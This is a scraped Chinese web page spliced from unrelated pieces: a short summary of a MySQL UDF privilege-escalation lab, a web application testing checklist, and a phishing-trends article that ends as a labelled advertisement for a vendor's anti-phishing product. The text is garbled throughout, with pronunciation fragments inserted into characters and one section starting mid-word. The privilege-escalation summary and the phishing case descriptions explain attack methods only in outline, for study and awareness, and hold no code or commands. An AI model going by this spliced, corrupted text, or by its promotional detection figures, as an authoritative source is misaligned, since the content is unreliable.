udf通過添加新函數(shù),對(duì)MySQL的功能進(jìn)行擴(kuò)充,使用UDF提權(quán)原理就是通過引入udf.dll,引入自定義函數(shù),執(zhí)行系統(tǒng)命令。通過實(shí)驗(yàn)學(xué)習(xí)真實(shí)滲透場(chǎng)景中的MySQL udf提權(quán)方法,掌握兩種dll文件導(dǎo)入方式,通過udf提權(quán)執(zhí)行系統(tǒng)命令。
多人問我,web項(xiàng)目測(cè)試需要從哪幾方面進(jìn)行測(cè)試才不會(huì)遺漏?因此小編整理了五大項(xiàng)必須要測(cè)的內(nèi)容,希望對(duì)大家有所幫助!
測(cè)試項(xiàng)目一、功能測(cè)試
1、鏈接測(cè)試
鏈接是Web應(yīng)用系統(tǒng)的一個(gè)主要特征,它是在頁面之間切換和指導(dǎo)用戶去一些不知道地址的頁面的主要手段。鏈接測(cè)試可分為三個(gè)方面。首先,測(cè)試所有鏈接是否按指示的那樣確實(shí)鏈接到了該鏈接的頁面;其次,測(cè)試所鏈接的頁面是否存在;最后,保證Web應(yīng)用系統(tǒng)上沒有孤立的頁面,所謂孤立頁面是指沒有鏈接指向該頁面,只有知道正確的URL地址才能訪問。
鏈接測(cè)試可以自動(dòng)進(jìn)行,現(xiàn)在已經(jīng)有許多工具可以采用。鏈接測(cè)試必須在集成測(cè)試階段完成,也就是說,在整個(gè)Web應(yīng)用系統(tǒng)的所有頁面開發(fā)完成之后進(jìn)行鏈接測(cè)試。
2、表單測(cè)試
當(dāng)用戶給Web應(yīng)用系統(tǒng)管理員提交信息時(shí),就需要使用表單操作,例如用戶注冊(cè)、登陸、信息提交等。在這種情況下,我們必須測(cè)試提交操作的完整性,以校驗(yàn)提交給服務(wù)器的信息的正確性。例如:用戶填寫的出生日期與職業(yè)是否恰當(dāng),填寫的所屬省份與所在城市是否匹配等。如果使用了默認(rèn)值,還要檢驗(yàn)?zāi)J(rèn)值的正確性。如果表單只能接受指定的某些值,則也要進(jìn)行測(cè)試。例如:只能接受某些字符,測(cè)試時(shí)可以跳過這些字符,看系統(tǒng)是否會(huì)報(bào)錯(cuò)。
3、Cookies測(cè)試
Cookies通常用來存儲(chǔ)用戶信息和用戶在某應(yīng)用系統(tǒng)的操作,當(dāng)一個(gè)用戶使用Cookies訪問了某一個(gè)應(yīng)用系統(tǒng)時(shí),Web服務(wù)器將發(fā)送關(guān)于用戶的信息,把該信息以Cookies的形式存儲(chǔ)在客戶端計(jì)算機(jī)上,這可用來創(chuàng)建動(dòng)態(tài)和自定義頁面或者存儲(chǔ)登陸等信息。
如果Web應(yīng)用系統(tǒng)使用了Cookies,就必須檢查Cookies是否能正常工作。測(cè)試的內(nèi)容可包括Cookies是否起作用,是否按預(yù)定的時(shí)間進(jìn)行保存,刷新對(duì)Cookies有什么影響等。
4、設(shè)計(jì)語言測(cè)試
Web設(shè)計(jì)語言版本的差異可以引起客戶端或服務(wù)器端嚴(yán)重的問題,例如使用哪種版本的HTML等。當(dāng)在分布式環(huán)境中開發(fā)時(shí),開發(fā)人員都不在一起,這個(gè)問題就顯得尤為重要。除了HTML的版本問題外,不同的腳本語言,例如Java、JavaScript、 ActiveX、VBScript或Perl等也要進(jìn)行驗(yàn)證。
5、數(shù)據(jù)庫測(cè)試
在Web應(yīng)用技術(shù)中,數(shù)據(jù)庫起著重要的作用,數(shù)據(jù)庫為Web應(yīng)用系統(tǒng)的管理、運(yùn)行、查詢和實(shí)現(xiàn)用戶對(duì)數(shù)據(jù)存儲(chǔ)的請(qǐng)求等提供空間。在Web應(yīng)用中,最常用的數(shù)據(jù)庫類型是關(guān)系型數(shù)據(jù)庫,可以使用SQL對(duì)信息進(jìn)行處理。
在使用了數(shù)據(jù)庫的Web應(yīng)用系統(tǒng)中,一般情況下,可能發(fā)生兩種錯(cuò)誤,分別是數(shù)據(jù)一致性錯(cuò)誤和輸出錯(cuò)誤。數(shù)據(jù)一致性錯(cuò)誤主要是由于用戶提交的表單信息不正確而造成的,而輸出錯(cuò)誤主要是由于網(wǎng)絡(luò)速度或程序設(shè)計(jì)問題等引起的,針對(duì)這兩種情況,可分別進(jìn)行測(cè)試。
測(cè)試項(xiàng)目二、性能測(cè)試
1、連接速度測(cè)試
用戶連接到Web應(yīng)用系統(tǒng)的速度根據(jù)上網(wǎng)方式的變化而變化,他們或許是電話撥號(hào),或是寬帶上網(wǎng)。當(dāng)下載一個(gè)程序時(shí),用戶可以等較長的時(shí)間,但如果僅僅訪問一個(gè)頁面就不會(huì)這樣。如果Web系統(tǒng)響應(yīng)時(shí)間太長(例如超過5秒鐘),用戶就會(huì)因沒有耐心等待而離開。
另外,有些頁面有超時(shí)的限制,如果響應(yīng)速度太慢,用戶可能還沒來得及瀏覽內(nèi)容,就需要重新登陸了。而且,連接速度太慢,還可能引起數(shù)據(jù)丟失,使用戶得不到真實(shí)的頁面。
2、負(fù)載測(cè)試
負(fù)載測(cè)試是為了測(cè)量Web系統(tǒng)在某一負(fù)載級(jí)別上的性能,以保證Web系統(tǒng)在需求范圍內(nèi)能正常工作。負(fù)載級(jí)別可以是某個(gè)時(shí)刻同時(shí)訪問Web系統(tǒng)的用戶數(shù)量,也可以是在線數(shù)據(jù)處理的數(shù)量。例如:Web應(yīng)用系統(tǒng)能允許多少個(gè)用戶同時(shí)在線?如果超過了這個(gè)數(shù)量,會(huì)出現(xiàn)什么現(xiàn)象?Web應(yīng)用系統(tǒng)能否處理大量用戶對(duì)同一個(gè)頁面的請(qǐng)求?
3、壓力測(cè)試
負(fù)載測(cè)試應(yīng)該安排在Web系統(tǒng)發(fā)布以后,在實(shí)際的網(wǎng)絡(luò)環(huán)境中進(jìn)行測(cè)試。因?yàn)橐粋€(gè)企業(yè)內(nèi)部員工,特別是項(xiàng)目組人員總是有限的,而一個(gè)Web系統(tǒng)能同時(shí)處理的請(qǐng)求數(shù)量將遠(yuǎn)遠(yuǎn)超出這個(gè)限度,所以,只有放在Internet上,接受負(fù)載測(cè)試,其結(jié)果才是正確可信的。
進(jìn)行壓力測(cè)試是指實(shí)際破壞一個(gè)Web應(yīng)用系統(tǒng),測(cè)試系統(tǒng)的反映。壓力測(cè)試是測(cè)試系統(tǒng)的限制和故障恢復(fù)能力,也就是測(cè)試Web應(yīng)用系統(tǒng)會(huì)不會(huì)崩潰,在什么情況下會(huì)崩潰。黑客常常提供錯(cuò)誤的數(shù)據(jù)負(fù)載,直到Web應(yīng)用系統(tǒng)崩潰,接著當(dāng)系統(tǒng)重新啟動(dòng)時(shí)獲得存取權(quán)。
壓力測(cè)試的區(qū)域包括表單、登陸和其他信息傳輸頁面等。
測(cè)試項(xiàng)目三、可用性測(cè)試
1、導(dǎo)航測(cè)試
導(dǎo)航描述了用戶在一個(gè)頁面內(nèi)操作的方式,在不同的用戶接口控制之間,例如按鈕、對(duì)話框、列表和窗口等;或在不同的連接頁面之間。通過考慮下列問題,可以決定一個(gè)Web應(yīng)用系統(tǒng)是否易于導(dǎo)航:導(dǎo)航是否直觀?Web系統(tǒng)的主要部分是否可通過主頁存取?Web系統(tǒng)是否需要站點(diǎn)地圖、搜索引擎或其他的導(dǎo)航幫助?
在一個(gè)頁面上放太多的信息往往起到與預(yù)期相反的效果。Web應(yīng)用系統(tǒng)的用戶趨向于目的驅(qū)動(dòng),很快地掃描一個(gè)Web應(yīng)用系統(tǒng),看是否有滿足自己需要的信息,如果沒有,就會(huì)很快地離開。很少有用戶愿意花時(shí)間去熟悉Web應(yīng)用系統(tǒng)的結(jié)構(gòu),因此,Web應(yīng)用系統(tǒng)導(dǎo)航幫助要盡可能地準(zhǔn)確。
導(dǎo)航的另一個(gè)重要方面是Web應(yīng)用系統(tǒng)的頁面結(jié)構(gòu)、導(dǎo)航、菜單、連接的風(fēng)格是否一致。確保用戶憑直覺就知道Web應(yīng)用系統(tǒng)里面是否還有內(nèi)容,內(nèi)容在什么地方。
Web應(yīng)用系統(tǒng)的層次一旦決定,就要著手測(cè)試用戶導(dǎo)航功能,讓最終用戶參與這種測(cè)試,效果將更加明顯。
2、圖形測(cè)試
在Web應(yīng)用系統(tǒng)中,適當(dāng)?shù)膱D片和動(dòng)畫既能起到廣告宣傳的作用,又能起到美化頁面的功能。一個(gè)Web應(yīng)用系統(tǒng)的圖形可以包括圖片、動(dòng)畫、邊框、顏色、字體、背景、按鈕等。圖形測(cè)試的內(nèi)容有:
(1)要確保圖形有明確的用途,圖片或動(dòng)畫不要胡亂地堆在一起,以免浪費(fèi)傳輸時(shí)間。Web應(yīng)用系統(tǒng)的圖片尺寸要盡量地小,并且要能清楚地說明某件事情,一般都鏈接到某個(gè)具體的頁面。
(2)驗(yàn)證所有頁面字體的風(fēng)格是否一致。
(3)背景顏色應(yīng)該與字體顏色和前景顏色相搭配。
(4)圖片的大小和質(zhì)量也是一個(gè)很重要的因素,一般采用JPG或GIF壓縮。
3、內(nèi)容測(cè)試
內(nèi)容測(cè)試用來檢驗(yàn)Web應(yīng)用系統(tǒng)提供信息的正確性、準(zhǔn)確性和相關(guān)性。
信息的正確性是指信息是可靠的還是誤傳的。例如,在商品價(jià)格列表中,錯(cuò)誤的價(jià)格可能引起財(cái)政問題甚至導(dǎo)致法律糾紛;信息的準(zhǔn)確性是指是否有語法或拼寫錯(cuò)誤。這種測(cè)試通常使用一些文字處理軟件來進(jìn)行,例如使用Microsoft Word的”拼音與語法檢查”功能;信息的相關(guān)性是指是否在當(dāng)前頁面可以找到與當(dāng)前瀏覽信息相關(guān)的信息列表或入口,也就是一般Web站點(diǎn)中的所謂”相關(guān)文章列表”。
4、整體界面測(cè)試
整體界面是指整個(gè)Web應(yīng)用系統(tǒng)的頁面結(jié)構(gòu)設(shè)計(jì),是給用戶的一個(gè)整體感。例如:當(dāng)用戶瀏覽Web應(yīng)用系統(tǒng)時(shí)是否感到舒適,是否憑直覺就知道要找的信息在什么地方?整個(gè)Web應(yīng)用系統(tǒng)的設(shè)計(jì)風(fēng)格是否一致?
對(duì)整體界面的測(cè)試過程,其實(shí)是一個(gè)對(duì)最終用戶進(jìn)行調(diào)查的過程。一般Web應(yīng)用系統(tǒng)采取在主頁上做一個(gè)調(diào)查問卷的形式,來得到最終用戶的反饋信息。
對(duì)所有的可用性測(cè)試來說,都需要有外部人員(與Web應(yīng)用系統(tǒng)開發(fā)沒有聯(lián)系或聯(lián)系很少的人員)的參與,最好是最終用戶的參與。
測(cè)試項(xiàng)目四、客戶端兼容性測(cè)試
1、平臺(tái)測(cè)試
市場(chǎng)上有很多不同的操作系統(tǒng)類型,最常見的有Windows、Unix、Macintosh、Linux等。Web應(yīng)用系統(tǒng)的最終用戶究竟使用哪一種操作系統(tǒng),取決于用戶系統(tǒng)的配置。這樣,就可能會(huì)發(fā)生兼容性問題,同一個(gè)應(yīng)用可能在某些操作系統(tǒng)下能正常運(yùn)行,但在另外的操作系統(tǒng)下可能會(huì)運(yùn)行失敗。
因此,在Web系統(tǒng)發(fā)布之前,需要在各種操作系統(tǒng)下對(duì)Web系統(tǒng)進(jìn)行兼容性測(cè)試。
2、瀏覽器測(cè)試
瀏覽器是Web客戶端最核心的構(gòu)件,來自不同廠商的瀏覽器對(duì)Java,、JavaScript、 ActiveX、 plug-ins或不同的HTML規(guī)格有不同的支持。例如,ActiveX是Microsoft的產(chǎn)品,是為Internet Explorer而設(shè)計(jì)的,JavaScript是Netscape的產(chǎn)品,Java是Sun的產(chǎn)品等等。另外,框架和層次結(jié)構(gòu)風(fēng)格在不同的瀏覽器中也有不同的顯示,甚至根本不顯示。不同的瀏覽器對(duì)安全性和Java的設(shè)置也不一樣。
測(cè)試瀏覽器兼容性的一個(gè)方法是創(chuàng)建一個(gè)兼容性矩陣。在這個(gè)矩陣中,測(cè)試不同廠商、不同版本的瀏覽器對(duì)某些構(gòu)件和設(shè)置的適應(yīng)性。
測(cè)試項(xiàng)目五、安全性測(cè)試
Web應(yīng)用系統(tǒng)的安全性測(cè)試區(qū)域主要有:
(1)現(xiàn)在的Web應(yīng)用系統(tǒng)基本采用先注冊(cè),后登陸的方式。因此,必須測(cè)試有效和無效的用戶名和密碼,要注意到是否大小寫敏感,可以試多少次的限制,是否可以不登陸而直接瀏覽某個(gè)頁面等。
(2)Web應(yīng)用系統(tǒng)是否有超時(shí)的限制,也就是說,用戶登陸后在一定時(shí)間內(nèi)(例如15分鐘)沒有點(diǎn)擊任何頁面,是否需要重新登陸才能正常使用。
(3)為了保證Web應(yīng)用系統(tǒng)的安全性,日志文件是至關(guān)重要的。需要測(cè)試相關(guān)信息是否寫進(jìn)了日志文件、是否可追蹤。
(4)當(dāng)使用了安全套接字時(shí),還要測(cè)試加密是否正確,檢查信息的完整性。
(5)服務(wù)器端的腳本常常構(gòu)成安全漏洞,這些漏洞又常常被黑客利用。所以,還要測(cè)試沒有經(jīng)過授權(quán),就不能在服務(wù)器端放置和編輯腳本的問題。
備注:如有沒考慮進(jìn)去內(nèi)容,可以評(píng)論添加,一起學(xué)習(xí),一起交流~
今,網(wǎng)絡(luò)釣魚活動(dòng)日益猖獗,這些看似無心的舉動(dòng),可能正將你置于網(wǎng)絡(luò)釣魚的陷阱之中。
看看數(shù)字背后的網(wǎng)絡(luò)釣魚真相
2023年,網(wǎng)絡(luò)釣魚攻擊事件總數(shù)約為16億起,同比增長166%。SlashNext公司的報(bào)告顯示,自2022年第四季度至2023年第三季度,網(wǎng)絡(luò)釣魚郵件數(shù)量增加了1265%,平均每天發(fā)送了約31,000封網(wǎng)絡(luò)釣魚攻擊郵件。
時(shí)間分布上,網(wǎng)絡(luò)釣魚攻擊呈現(xiàn)季節(jié)波動(dòng)特征,一季度和三季度出現(xiàn)兩個(gè)高峰,可能受到了春節(jié)、國慶等假期熱點(diǎn)影響。
行業(yè)分布上,網(wǎng)絡(luò)釣魚攻擊主要集中在制造業(yè)、服務(wù)業(yè)、政府部門、醫(yī)療行業(yè)和教育行業(yè)等行業(yè),中小型企業(yè)最易受到網(wǎng)絡(luò)釣魚攻擊。
攻擊渠道上,釣魚郵件依然是最主要的攻擊渠道,利用短信和彩信、創(chuàng)建釣魚網(wǎng)站進(jìn)行欺詐、利用搜索引擎投放誘導(dǎo)廣告、利用社交網(wǎng)絡(luò)和即時(shí)通訊軟件發(fā)起釣魚活動(dòng)等手段也越來越普遍。
攻擊形式上,犯罪分子使用頻率最高的文件類型包括 exe、dll、doc、html和 vbs等。它們分別用于運(yùn)行木馬程序、進(jìn)行釣魚網(wǎng)站攻擊或釋放/下載其他文件。這些手段不僅技術(shù)性強(qiáng),而且極具欺騙性。
可以說,網(wǎng)絡(luò)釣魚攻擊正試圖滲透到我們生產(chǎn)生活的方方面面。給企業(yè),甚至所有網(wǎng)絡(luò)用戶的信息安全帶來了前所未有的威脅。
接下來,為大家介紹幾個(gè)典型的網(wǎng)絡(luò)釣魚場(chǎng)景。如果你遇到這些情況,可能已經(jīng)被盯上了,一定要提高警惕!可以隨手分享給身邊的同事和朋友,提醒他們小心被騙~
案例一:郵件釣魚
攻擊者以發(fā)票的名義,通過電子郵件誘使收件人打開附件 /鏈接,并在鏈接指向的頁面中偽造官方支持的假象,提示收件人輸入個(gè)人憑據(jù)。郵件正文中還添加了虛假的殺毒軟件掃描信息,以降低受害者的警惕。一旦收件人打開附件或鏈接,賬號(hào)輸入框會(huì)自動(dòng)填充,進(jìn)一步降低受害者的警惕。當(dāng)受害者輸入個(gè)人信息后,瀏覽器會(huì)將用戶輸入內(nèi)容發(fā)送至攻擊者的服務(wù)器。
案例二:通訊軟件釣魚
攻擊者首先添加目標(biāo)為好友,通過社會(huì)工程學(xué)手段獲取信任之后發(fā)送惡意文件,并誘導(dǎo)目標(biāo)打開和運(yùn)行。當(dāng)惡意文件被運(yùn)行之后會(huì)從遠(yuǎn)程服務(wù)器下載其他文件并執(zhí)從而實(shí)現(xiàn)長久的遠(yuǎn)程控制,同時(shí)攻擊者會(huì)監(jiān)控受害者屏幕,等到時(shí)機(jī)成熟后會(huì)控制該機(jī)器向其他人聯(lián)系人發(fā)起類似的釣魚攻擊,如果目標(biāo)合適將會(huì)誘導(dǎo)其轉(zhuǎn)賬打款進(jìn)行金融詐騙。
案例三:二維碼釣魚
攻擊者通過郵件偽裝成政府部門,發(fā)送包含二維碼的釣魚文檔給用戶。這些文檔在打開后會(huì)呈現(xiàn)偽裝的政府文件,目的是誘導(dǎo)用戶掃描二維碼打開惡意鏈接。一旦掃描二維碼可能會(huì)造成個(gè)人信息泄露、憑證失竊、資金被盜等風(fēng)險(xiǎn)。
據(jù)統(tǒng)計(jì),二維碼釣魚攻擊同比增長了90%。超過 85%的用戶對(duì)二維碼支付和掃碼認(rèn)證存在盲信心理,意識(shí)不夠警惕,為攻擊者提供了機(jī)會(huì)。
案例四:雙/多因素認(rèn)證繞過釣魚
隨著單因素認(rèn)證面臨社會(huì)工程和密碼破解等風(fēng)險(xiǎn)以及相關(guān)監(jiān)管政策的要求,雙/多因素認(rèn)證 (2/MFA)已被廣泛部署。但攻擊者會(huì)利用中間人攻擊繞過多因素認(rèn)證,通過郵件或即時(shí)通訊發(fā)送鏈接或二維碼誘導(dǎo)目標(biāo)點(diǎn)擊。受害者按照攻擊者的提示輸入信息后,賬戶將被接管。
看了這些案例,回想一下,自己是不是曾經(jīng)在危險(xiǎn)邊緣徘徊過?
以上數(shù)據(jù)和案例均來自深信服千里目技術(shù)中心發(fā)布的《2023網(wǎng)絡(luò)釣魚趨勢(shì)分析報(bào)告》,報(bào)告通過大量的數(shù)據(jù)統(tǒng)計(jì)和真實(shí)釣魚案例分析,詳細(xì)梳理了網(wǎng)絡(luò)釣魚的整體情況,分析釣魚攻擊的技術(shù)手段,針對(duì)痛點(diǎn)提出一系列有效的防范建議。
為每個(gè)員工配備一個(gè)防釣魚專家 How to do?
報(bào)告發(fā)現(xiàn),隨著網(wǎng)絡(luò)釣魚攻擊的趨勢(shì)走高,釣魚攻擊的防御也成為企業(yè)和組織面臨的安全難點(diǎn)。一方面,隨著技術(shù)發(fā)展,攻擊者可以利用大模型技術(shù)快速且大量生成高質(zhì)量、逼真的釣魚信息,利用人性弱點(diǎn),員工難以識(shí)別;另一方面,釣魚攻擊手段也在不斷升級(jí),加密、免殺、白利用等手段讓釣魚攻擊看不見也防不住。傳統(tǒng)從特征識(shí)別、規(guī)則匹配、乃至行為或AI小模型的推理檢測(cè),已難以檢測(cè)高級(jí)的釣魚攻擊事件,釣魚防護(hù)需要真正“懂人性”、智能靈敏的防釣魚專家。
深信服國內(nèi)首發(fā)并落地的網(wǎng)絡(luò)安全垂直領(lǐng)域大模型——安全GPT,目前已經(jīng)完成3.0的升級(jí)演進(jìn)。深信服防釣魚解決方案以安全GPT3.0釣魚攻擊意圖推理能力為核心,依靠aES輕量端點(diǎn)的數(shù)據(jù)采集和關(guān)聯(lián),并結(jié)合邊界、郵件防御以及安全檢測(cè)響應(yīng)能力,有效解決當(dāng)前釣魚防御方案中難以解決的偽裝欺騙、免殺對(duì)抗、白利用等高級(jí)手法,能夠做到:
1、精準(zhǔn)理解攻擊意圖
通過精準(zhǔn)理解自然語言或二維碼背后的攻擊意圖,有效檢測(cè)傳統(tǒng)方案無法識(shí)別的社工欺騙及二維碼釣魚。
2、全鏈條行為關(guān)聯(lián)分析
(1)結(jié)合發(fā)件人、郵件內(nèi)容、郵件附件到后滲透行為全鏈條采集與關(guān)聯(lián)分析;
(2)結(jié)合文件信息與文件后滲透行為全鏈條采集與關(guān)聯(lián)分析,做到檢測(cè)更精準(zhǔn)、溯源更全面。
3、靈活處置閉環(huán)
支持同步和異步處置方式,如重要時(shí)期保障場(chǎng)景下自動(dòng)處置,安全優(yōu)先,日常運(yùn)營場(chǎng)景下結(jié)合研判流程處置。通過郵件橫幅告警、釣魚文件隔離等方式,在不影響用戶體驗(yàn)的前提下,遏制釣魚攻擊、避免進(jìn)一步攻擊帶來的損失。
深信服防釣魚核心技術(shù)
通過3萬高對(duì)抗釣魚樣本與100萬白樣本測(cè)試驗(yàn)證,深信服防釣魚解決方案對(duì)比傳統(tǒng)方案,檢出率從15.7%飛升至91.4%,誤報(bào)率從0.15%降低至0.046%,像員工身邊的安全專家一樣,智能高效防御釣魚攻擊!
面對(duì)新的挑戰(zhàn),要有效對(duì)抗網(wǎng)絡(luò)釣魚威脅,我們需要綜合采取加強(qiáng)技術(shù)防范、提高公眾安全意識(shí)、加強(qiáng)法律法規(guī)建設(shè)等多方面措施,有效遏制網(wǎng)絡(luò)釣魚的蔓延,守護(hù)個(gè)人和企業(yè)的信息安全。(來源:中國網(wǎng))
(推廣)
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。